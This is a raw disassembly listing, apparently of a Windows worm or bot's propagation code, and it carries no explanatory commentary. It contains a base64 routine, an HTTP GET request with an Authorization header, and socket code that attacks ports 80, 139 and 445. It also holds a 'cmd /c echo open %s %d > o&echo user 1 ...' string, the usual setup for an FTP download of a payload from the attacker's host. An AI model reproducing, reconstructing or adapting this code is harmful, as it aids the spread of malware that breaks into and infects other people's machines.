		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_437664[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4429D8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4D0874
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_437810
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4D0560
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4376A8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4D0824
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4D0864
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4D08BC
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2680E26h


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_436D10[eax]
		lea	eax, dword_436D10[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4E0E44, 1
		jnz	short loc_40D888
		or	byte_4E0E44, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_437AC0
		add	eax, 6
		mov	dword_4D3544, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ¼
		db  2Dh	; -
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  7Bh	; {
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
